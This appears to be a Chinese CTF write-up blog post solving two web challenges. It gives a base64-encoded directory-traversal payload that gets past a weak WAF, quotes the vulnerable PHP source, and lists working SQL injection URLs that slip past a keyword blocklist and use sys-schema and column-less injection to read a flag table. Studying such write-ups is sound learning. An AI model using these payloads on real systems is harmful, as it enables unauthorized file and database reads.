之前报名没报上……还好开了复现环境,搭个车😶


1.Ezfileinclude

图不错:

查源码看见关键信息:

点一下进入下一个页面

和时间戳是对应的,想着把 index.php 或是 image.php 编个码看看能不能读出来,结果不可以;因为是文件包含,想到路径的问题,把 “../image.php” 编了个码放进去,成功回显但是显示有 WAF:

证明确实存在目录穿越读取的情况,这样的情况肯定没办法直接读取,尝试在 “../” 前面加上一个本不存在的目录,比如 “1ndweb/../flag” 发现不回显警告,直接往根目录下走,穿越构造:1ndweb/../../../../../../flag => &f=MW5kd2ViLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2ZsYWc=

发过去,得到 flag:


看了一下 index.php:

又看了一下 image.php:

image.php

<?php

	if(!isset($_GET['t']) || !isset($_GET['f'])){
		echo "you miss some parameters";
		exit();
	}
	
	$timestamp = time();

	if(abs($_GET['t'] - $timestamp) > 10){
		echo "what's your time?";
		exit();
	}

	$file = base64_decode($_GET['f']);
	
	if(substr($file, 0, strlen("/../")) === "/../" || substr($file, 0, strlen("../")) === "../" || substr($file, 0, strlen("./")) === "./" || substr($file, 0, strlen("/.")) === "/." || substr($file, 0, strlen("//")) === "//") {
		echo 'You are not allowed to do that.';
	}
	else{
		echo file_get_contents('/var/www/html/img/'.$file);
	}

?>

这 WAF 是不是写的有些草率了……


2.SQLi

输入 id 后 1 到 3 都有回显,尝试 ?id=3'--+ 有回显:

return preg_match("/;|benchmark|\^|if|[\s]|in|case|when|sleep|auto|desc|stat|\||lock|or|and|&|like|-|`/i", $id);

再 fuzz 一下,确定单引号闭合

因为过滤的内容比较多,information 类、 statistics 类和 innodb 类的库没有办法使用,考虑使用 “sys.x$schema_flattened_keys” 代替

库:sqlidb
?id=100%27union/**/select/**/1,database(),3%23
表:flllaaaggg
?id=100%27union/**/select/**/group_concat(table_name),2,3/**/from/**/sys.x$schema_flattened_keys/**/where/**/table_schema=database()%23

查到 flllaaaggg 表后考虑列的问题,直接查没结果,可以考虑无列名注入

?id=100%27union/**/select/**/(select/**/x.2/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/flllaaaggg)x/**/limit/**/1,1),2,3%23

后来又查了一下其他几个师傅的博客,看到其他方法:

1.Y1ng师傅的:
?id=100’/**/union/**/select/**/*,1/**/from/**/flllaaaggg%23


0 条评论

发表评论

邮箱地址不会被公开。 必填项已用*标注